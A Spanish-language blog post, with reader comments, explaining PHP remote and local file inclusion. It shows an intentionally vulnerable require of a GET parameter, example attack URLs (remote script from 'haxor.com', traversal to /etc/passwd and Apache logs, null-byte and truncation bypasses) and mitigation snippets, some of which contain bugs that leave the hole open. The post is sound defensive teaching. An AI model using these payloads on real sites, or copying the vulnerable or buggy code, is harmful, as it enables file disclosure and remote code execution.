Local y remote file inclusion en PHP

Ya hablamos hace un tiempo del Cross-Site Scripting o XSS, una de las múltiples vulnerabilidades con las que nos podemos encontrar a la hora de desarrollar una página web. Junto con la inyección SQL, XSS es una de las vulnerabilidades más conocidas y habituales. Hoy trataremos dos vulnerabilidades algo menos conocidas, pero no por ello menos peligrosas: la inclusión remota y la inclusión local de archivos.

El Remote File Inclusion, RFI, o inclusión remota de archivos, es un tipo de vulnerabilidad que podemos encontrar en páginas web que no filtran correctamente la información proveniente del usuario. En PHP se puede dar al hacer uso de las construcciones include, include_once, require y require_once, o la función fopen, entre otros, con parámetros procedentes del usuario.

El siguiente código, por ejemplo, por sencillo e inocente que sea, sería altamente vulnerable:

<?php
if(isset($_GET['pagina'])) {
  require $_GET['pagina'];
} else
  die('No se ha especificado la página a mostrar');

¿Por qué es tan peligroso este código? Consideremos que nada le impediría a un supuesto atacante pasar como valor del parámetro pagina la ruta de un script PHP situado en su servidor, haciendo que nuestro servidor ejecutara cualquier código que dicho archivo contuviera.

http://mipaginaweb.com/index.php?pagina=http://haxor.com/script

Para evitar este problema desde PHP 5.2.0 php.ini tiene una opción allow_url_include que controla si se permiten incluir scripts utilizando URLs, opción con valor false por defecto. También existe una opción que controla si se pueden pasar URLs a fopen, allow_url_fopen, que data de PHP 4.0.4 y que, en esta ocasión, sí está activada por defecto (anteriormente esta última opción era la encargada de controlar ambas cosas, por lo que no se podía evitar la inclusión de archivos remotos y a la vez hacer uso de fopen con archivos remotos).

Gracias a esta configuración las vulnerabilidades de inclusión remota de archivos son cada vez menos comunes, aunque todavía tendremos que lidiar con otros ataques menos obvios como el uso de los protocolos data:// y php://, que no se desactivan con allow_url_include, o las vulnerabilidades LFI.

LFI, Local File Inclusion o inclusión local de archivos, es un tipo de vulnerabilidad que un atacante puede aprovechar para tener acceso a archivos locales de nuestro servidor, como el archivo de configuración de nuestra aplicación:

http://mipaginaweb.com/index.php?pagina=conf/configuracion.php

un archivo previamente subido por el atacante, haciendo uso de cualquier formulario de subida de archivos que podamos tener:

http://mipaginaweb.com/index.php?pagina=avatares/script

código insertado en algún log de Apache:

http://mipaginaweb.com/index.php?pagina=../../../var/log/apache/error.log

o incluso el contenido del fichero passwd de un sistema UNIX, si este está mal configurado:

http://mipaginaweb.com/index.php?pagina=../../../etc/passwd

Una posible solución sería añadir una extensión al archivo a incluir, por ejemplo:

<?php require $_GET['pagina'] . '.inc.php'); ?>

En teoría, esto debería impedir incluir cualquier archivo que no terminara en .inc.php, pero, lamentablemente, no es tan sencillo. El atacante podría saltarse nuestro nuevo intento de protección añadiendo el carácter nulo (0x00), que permite terminar las cadenas, al final del valor pasado como parámetro (si magic_quotes_gpc está desactivado, de otra forma el problema se solucionaría al aplicar la función addslashes automáticamente):

http://mipaginaweb.com/index.php?pagina=../../../etc/passwd%00

o se podrían aprovechar los intentos de PHP de normalizar las rutas y el hecho de que las rutas se truncan a partir de cierto tamaño (este problema está corregido en las últimas versiones de PHP, para nuestra tranquilidad):

http://mipaginaweb.com/index.php?pagina=../../../etc/passwd.\.\.\.\ …

Como nunca podremos ir un paso por delante de los hackers, una buena solución, aunque a algunos les podría parecer exagerada, es aceptar sólo los caracteres necesarios en el parámetro pasado como argumento:

<?php
if(isset($_GET['pagina'])) {
	$pagina = preg_replace('/[^a-z^A-Z]*/', '', $_GET['pagina']);
  require $_GET['pagina'] '.inc.php';
} else
  die('No se ha especificado la página a mostrar');

o bien, aunque es poco flexible, almacenar las distintas opciones válidas en un array y comprobar si el valor indicado se encuentra en dicho array:

<?php
$paginas = array('principal', 'sobre-mi', 'contacto');
if(isset($_GET['pagina']) and in_array($_GET['pagina'], $paginas)) {
  require $paginas[array_search($_GET['page'], $paginas)] . '.inc.php';
} else
  die('No se ha especificado la página a mostrar o no existe en el servidor');

Aunque, por supuesto, la mejor solución siempre será, simplemente, no confiar nunca en los usuarios, y, por lo tanto, no incluir nada que un usuario pueda modificar.

Comentarios
  1. Ahora que lo pienso, por favor, nada de discusiones sobre terminología y sobre si es correcto o no el uso de la palabra ‘hacker’.

    Si uso el término de forma peyorativa, está claro que lo estoy referiéndome a los ‘black hat’.

    Responder

  2. Excelente post.
    Muy claro y detallado, gracias como siempre. 😉

    Responder

  3. Hidek1

    bueno en realiad aun me toca ver mucha gente que comete ese error sin saber ni pensar en las concecuencias.. asi que se agradece la explicacion.. la usare como link en alguna de mis ayudas =)

    Responder

  4. Está muy bien el artículo, pero de todas formas suele ser más normal incluir ciertos scripts sin depender de lo que te llegue por GET.

    No se me ocurre un caso en el que dependiendo de lo que me llegue entonces hago un require de tal o cual cosa =S.

    Responder

    • Pues es mucho más común de lo que se podría esperar.

      Por ejemplo, en implementaciones caseras de MVC, mucha gente suele crear un archivo por cada controlador, con la clase o las funciones que lo implementan, y tienen un punto de acceso único a la aplicación que se encarga de hacer el require del archivo del controlador que corresponda, dependiendo de un parámetro controller pasado en la URL.

      Responder

  5. Mickeley

    Un artículo muy interesante.

    Currate si quieres un artículo sobre inyección SQL (que creo que no lo tienes ya), que nunca está mal aprender un poco sobre estas cosas.

    Un saludo.

    Responder

    • Lo pongo en la cola de pendientes 😉

      Responder

      • Ángel

        Pues de Inyección SQL y seguridad en LAMP tengo por ahí algo hecho, habrá que ver si me da por darme caña con ese tema…

        Lo de XSS parece un buen tema para continuar estudiando…

        Responder

  6. zitonguito

    Excelnete, te felicito por el articulo es algo que todas las personas que hemios trabajado con PHP o que los haremos deberiamos de saber a fin de brindar mayor seguridad a nuestros proyectos… saludos

    Responder

  7. Aether

    Como siempre una motivacion para seguir de cerca tus articulos…lo pondre en practica tus consejos 😀

    Responder

  8. […] Local y remote file inclusion en PHP […]

    Responder

  9. Hola como va te cuento que estuve viendo tu blog y me parecio muy interesante, me gustaría saber si podríamos hacer un intercambio de links y también te pido permiso para postear alguno de tus posts en mi blog obviamente poniendo como fuente tu página.

    Saludos

    Responder

  10. La verdad es que has explicado como nadie esta manera de intrusión en una web en PHP, posiblemente la has explicado como nadie más me lo ha explicado nunca.

    Lo realmente bueno de este post es que aportas las soluciones para evitar el file inclusion, y esto, para los programadores amateurs, como yo, nos viene muy bien.

    Gracias por seguir siendo mi web de cabecera.

    Responder

Deja un comentario